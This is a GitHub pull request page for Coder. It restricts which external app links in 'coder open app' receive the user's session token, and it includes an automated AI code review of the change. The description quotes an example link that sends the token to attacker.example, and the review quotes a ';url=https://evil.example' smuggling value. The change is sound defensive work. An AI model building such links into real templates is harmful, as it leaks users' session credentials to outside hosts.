Skip to content

fix: only add the session token to trusted app links in coder open app - #31721

Merged
dylanhuff-at-coder merged 10 commits into
mainfrom
dylan/cli-open-app-trusted-token-links
Nov 5, 2026
Merged

dylanhuff-at-coder merged 10 commits into
mainfrom
dylan/cli-open-app-trusted-token-links

Conversation

@dylanhuff-at-coder

@dylanhuff-at-coder dylanhuff-at-coder commented Nov 3, 2026 •

Copy link
Copy Markdown
Collaborator

coder open app filled in $SESSION_TOKEN for every external app defined in a template, wherever the link pointed. Since #31208 the dashboard only does that when the link opens a known Coder IDE handler and its url param is this deployment, so a template app like vscode://coder.coder-remote/open?url=https://attacker.example&token=$SESSION_TOKEN was blocked in the dashboard but still got the token from the CLI.

This ports the same check to the CLI. A link is trusted when its url matches the URL the CLI is logged in to or the deployment's dashboard URL from build info. Links that fail the check are printed with a warning and not opened, the same way sub-agent apps with the placeholder already are. The Go check mirrors isSessionTokenDestinationTrusted in site/src/modules/apps/apps.ts and the unit tests reuse its cases. Params are parsed like URLSearchParams, which is what the IDE extensions use. Where Go can't match the browser exactly, the CLI rejects the link instead: non-ASCII hosts (browsers map them through IDNA) and invalid percent escapes.

Heads up that template apps the dashboard already blocks will now stop getting a token from coder open app too. This also adds a short section to the template apps docs on when external app links get a session token, since that wasn't documented for the dashboard either.

Fixes CLI-57

Follow-up to CORE-783: https://linear.app/codercom/issue/CORE-783/security-coordinate-backend-validation-for-session-token-app-url

🤖 Generated with Claude Code

…en app

coder open app substituted $SESSION_TOKEN into every external app URL on a
top-level agent. It now applies the dashboard's trusted-link check: the link
must open a known Coder IDE handler whose url param is this deployment, and
the placeholder must be its token. Other links are printed with a warning
and not opened.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
@dylanhuff-at-coder dylanhuff-at-coder changed the title fix(cli): only add the session token to trusted app links in coder open app fix: only add the session token to trusted app links in coder open app Nov 3, 2026
dylanhuff-at-coder and others added 4 commits November 3, 2026 15:00
…links

Strip one leading ? before parsing params, like URLSearchParams, so a
duplicate url can't hide behind it. Lowercase hosts as ASCII only and
reject non-ASCII hosts, since Unicode folding mapped hosts such as
codİng.com onto a trusted host that browsers resolve elsewhere. Narrow the
docs: the dashboard leaves http and https links enabled without a token.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Split params on & only so a ; in another value no longer rejects a link
the dashboard trusts, and compare ports numerically so :0443 matches the
default port. Out-of-range ports are rejected.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
@dylanhuff-at-coder
dylanhuff-at-coder marked this pull request as ready for review November 4, 2026 16:54
@dylanhuff-at-coder
dylanhuff-at-coder requested review from a team, BobbyHo and Emyrk and removed request for a team and Emyrk November 4, 2026 16:57
@BobbyHo

BobbyHo commented Nov 4, 2026

Copy link
Copy Markdown
Collaborator

/coder-agents-review Please limit the review to P0, P1, and P2 issues only.

@coder-agents-review

coder-agents-review Bot commented Nov 4, 2026 •

Copy link
Copy Markdown
Contributor

Chat: Review posted | View chat
Requested: 2026-11-04 18:53 UTC by @BobbyHo
Spend: $11.42 / $100.00

Review history
  • R1 (2026-11-04): 13 reviewers, 2 P2, COMMENT. Review

deep-review v0.13.0 | Round 1 | bc5dd20..58aa2c6

Last posted: Round 1, 2 findings (2 P2), COMMENT. Review

Finding inventory

Findings

# Sev Status Location Summary Round Reviewer Posted
CRF-1 P4 Dropped by orchestrator (requester limited review to P0-P2) cli/open.go:800 parseSearchParams invalid-escape rejection is unreachable; doc comment claims a check that never runs R1 Netero No
CRF-2 Nit Dropped by orchestrator (requester limited review to P0-P2) cli/open_internal_test.go:241 NonASCIIScheme case uses a literal U+212A instead of an escape R1 Netero No
CRF-3 Note Dropped by orchestrator (requester limited review to P0-P2) cli/open.go:740 BuildInfo error is discarded; user is told to contact the template admin about a correct link R1 Netero No
CRF-4 P2 Open cli/open.go:793 Decoded-view check has no test; removing it leaves the suite green and trusts a single-encoded url smuggle R1 Bisky Yes
CRF-5 P2 Open cli/open.go:705 Trust check is two hand-synced copies; only Go points to TS and the case tables already differ R1 Ryosuke P2, Melody P3, Razor P3, Robin P3, Bisky P3, Ryosuke P3 Yes
CRF-6 P3 Dropped by orchestrator (requester limited review to P0-P2) cli/open.go:792 Raw-view hasTrustedSessionTokenParams call has no test R1 Bisky No
CRF-7 P3 Dropped by orchestrator (requester limited review to P0-P2) cli/open_internal_test.go:259 NonASCIIHostFoldingToTrustedHost passes with the non-ASCII host check removed R1 Bisky No
CRF-8 P3 Dropped by orchestrator (requester limited review to P0-P2) cli/open.go:789 utf8.ValidString(decoded) check has no test (%ff case) R1 Bisky No
CRF-9 P4 Dropped by orchestrator (requester limited review to P0-P2) cli/open.go:756 utf8.ValidString(appURL) cannot change the result R1 Bisky No
CRF-10 P4 Dropped by orchestrator (requester limited review to P0-P2) cli/open_internal_test.go:241 NonASCIIScheme passes with strings.ToLower; asciiLower Kelvin claim untested in Go R1 Bisky No
CRF-11 P3 Dropped by orchestrator (requester limited review to P0-P2) cli/open.go:415 Untrusted-link warning does not say what a trusted URL is or link the docs R1 Chopper P3, Leorio P3 No
CRF-12 P3 Dropped by orchestrator (requester limited review to P0-P2) docs/admin/templates/extending-templates/index.md:122 Docs give example handlers instead of the accepted list R1 Leorio No
CRF-13 P4 Dropped by orchestrator (requester limited review to P0-P2) cli/open.go:413 Comment says "matching the dashboard" but CLI refuses http(s) links the dashboard opens R1 Ryosuke No
CRF-14 P4 Dropped by orchestrator (redundant comment, no defect; downgraded from P2; requester limited review to P0-P2) cli/open.go:411 Comment repeats sessionTokenDestinationTrusted doc comment R1 Gon No
CRF-15 P4 Dropped by orchestrator (redundant comment, no defect; downgraded from P2; requester limited review to P0-P2) cli/open.go:738 BuildInfo fallback comment restates doc comment and code R1 Gon No
CRF-16 P4 Dropped by orchestrator (redundant comment, no defect; downgraded from P2; requester limited review to P0-P2) cli/open_internal_test.go:329 BuildInfoError comment restates subtest name R1 Gon No
CRF-17 P4 Dropped by orchestrator (redundant comment, no defect; downgraded from P2; requester limited review to P0-P2) cli/open_test.go:714 Trusted-link subtest comment restates name R1 Gon No
CRF-18 P4 Dropped by orchestrator (redundant comment, no defect; downgraded from P2; requester limited review to P0-P2) cli/open_test.go:750 Untrusted-link subtest comment restates name R1 Gon No
CRF-19 P4 Dropped by orchestrator (redundant comment, no defect; downgraded from P2; requester limited review to P0-P2) cli/open.go:861 urlOrigin and asciiLower doc comments state the same ASCII-folding reason R1 Gon No
CRF-20 P4 Dropped by orchestrator (requester limited review to P0-P2) cli/open_internal_test.go:176 "Mirrors apps.test.ts" comment is inaccurate; Go table has extra cases R1 Gon No
CRF-21 P4 Dropped by orchestrator (requester limited review to P0-P2) cli/open.go:701 sessionTokenHandler.path comment does not say it must contain the ? or # R1 Gon No
CRF-22 P4 Dropped by orchestrator (requester limited review to P0-P2) cli/open.go:757 IndexFunc != -1 could be strings.ContainsFunc (also :852) R1 Ging-Go No
CRF-23 P4 Dropped by orchestrator (requester limited review to P0-P2) cli/open.go:819 strings.Split could be strings.SplitSeq R1 Ging-Go No
CRF-24 OOS Out of scope (body) provisioner/urls.go Server does not validate $SESSION_TOKEN destinations; every client reimplements; old CLIs still substitute R1 Ryosuke, Pariston, Razor No
CRF-25 OOS Out of scope (body) cli/open.go:432 "Opening %s" prints the substituted token to stderr R1 Kurapika No
CRF-26 OOS Out of scope (body) cli/open.go:421 CLI substitutes its long-lived login token; dashboard mints a key per click R1 Kurapika No
CRF-27 OOS Out of scope (body) site/src/modules/apps/apps.ts:239 Check models URLSearchParams only; a handler that splits on ; reads a second url R1 Kurapika No
CRF-28 OOS Out of scope (body) site/src/modules/apps/apps.ts:296 Dashboard trusts url=...%00 that the CLI rejects R1 Razor No

Contested and acknowledged

Law analysis

Not run. Effective additions 469 (threshold 1000). Head 58aa2c6.

Round log

Round 1

Round type: round 1, full panel. Netero first pass: 1 P4, 1 Nit, 1 Note (no P0, panel proceeded). Panel: ging-go, kurapika, ryosuke, melody (specialists); pariston, mafuuu (core); bisky, hisoka, gon, leorio, razor, robin (pool); chopper (wildcard). 13 panel reviewers, one over the 9-12 target because of the wildcard. Requester (issue comment IC_kwDOGkVX1s8AAAABi7qyUg) limited the review to P0-P2, so only P2 findings are posted; lower findings are recorded here. Gon's five comment-redundancy P2s downgraded to P4: keep-argument was that repeated facts drift, but the consequence is maintenance noise with no defect. CRF-5 merges Ryosuke P2 with the P3 drift findings from Melody, Razor, Robin, Bisky, and Ryosuke; set at P2 because the PR fixes a CLI/dashboard drift and leaves the same one-way sync mechanism in place. Orchestrator reproduced CRF-4's mutant (tests pass with the decoded-view call removed) and CRF-28 in Node. 2 P2 posted, 5 OOS in body. Reviewed against bc5dd20..58aa2c6.

About deep-review

CRF = Coder Review Finding (P0-P4, Nit, Note)

Reviewer Focus
Bisky tests
Chopper ops/errors
Churn-guard change verification
Ging language modernization
Gon naming
Hisoka edge cases
Killua perf
Kite change integrity
Knov contracts
Knuckle SQL
Komugi flake/determinism
Kurapika security
Law decomposition
Leorio docs
Luffy product
Mafu-san process
Mafuuu contracts
Melody dispatch/pairing
Meruem structural
Nami frontend
Netero mechanical checks
Pariston premise testing
Pen-botter product gaps
Razor verification
Robin duplication
Ryosuke Go arch
Takumi concurrency
Zoro shape

🤖 Managed by Coder Agents.

@coder-agents-review coder-agents-review Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This PR applies the dashboard's session-token destination check to coder open app. 2 P2 findings. As requested, this review lists only P0 to P2 findings.

Out of scope (needs a ticket or explicit acceptance by a human):

  • provisioner/urls.go: coderd does not check where a template app URL with $SESSION_TOKEN points, so each client (dashboard, CLI, Coder Desktop) carries its own copy of the check, and CLI versions released before this PR still send the token to any template app link.
  • cli/open.go:432: Opening %s prints the URL with the substituted session token to stderr, so the token ends up in terminal scrollback and captured logs.
  • cli/open.go:421: the CLI substitutes its own long-lived login token, while the dashboard creates a new API key per click, so revoking the token the IDE received also logs the CLI out.
  • site/src/modules/apps/apps.ts:239: both checks parse params like URLSearchParams, so ...&token=$SESSION_TOKEN&x=a;url=https://evil.example passes both, and a handler that also splits on ; reads a second url. Which handlers split on ; is unverified.
  • site/src/modules/apps/apps.ts:296: the dashboard trusts url=https://coder.example.com%00 because WHATWG URL strips the trailing NUL, while coder open app rejects it, so the two clients disagree on the same app.

🤖 This review was automatically generated with Coder Agents.

Comment thread cli/open.go Resolved
Comment thread cli/open.go Resolved

@BobbyHo BobbyHo left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

LGTM! Just wondering if there's any overlap with #31261. If so, we might want to sync up with @EhabY to avoid any conflicts.

dylanhuff-at-coder and others added 2 commits November 4, 2026 11:24
…oard

Move the trusted-link cases into sessionTokenDestinationCases.json and
run them from both cli/open_internal_test.go and apps.test.ts, so the
two checks can't drift apart without a test failing. Add a case that only
the decoded-view check rejects, and point apps.ts at the Go copy.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
…served test host

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
@linear-code

linear-code Bot commented Nov 5, 2026

Copy link
Copy Markdown

CLI-57

@dylanhuff-at-coder
dylanhuff-at-coder merged commit 34a14cb into main Nov 5, 2026
43 of 44 checks passed
@dylanhuff-at-coder
dylanhuff-at-coder deleted the dylan/cli-open-app-trusted-token-links branch November 5, 2026 17:38
@github-actions github-actions Bot locked and limited conversation to collaborators Nov 5, 2026
@dylanhuff-at-coder
dylanhuff-at-coder restored the dylan/cli-open-app-trusted-token-links branch November 5, 2026 17:39
@dylanhuff-at-coder
dylanhuff-at-coder deleted the dylan/cli-open-app-trusted-token-links branch November 5, 2026 17:40
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.

Labels

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants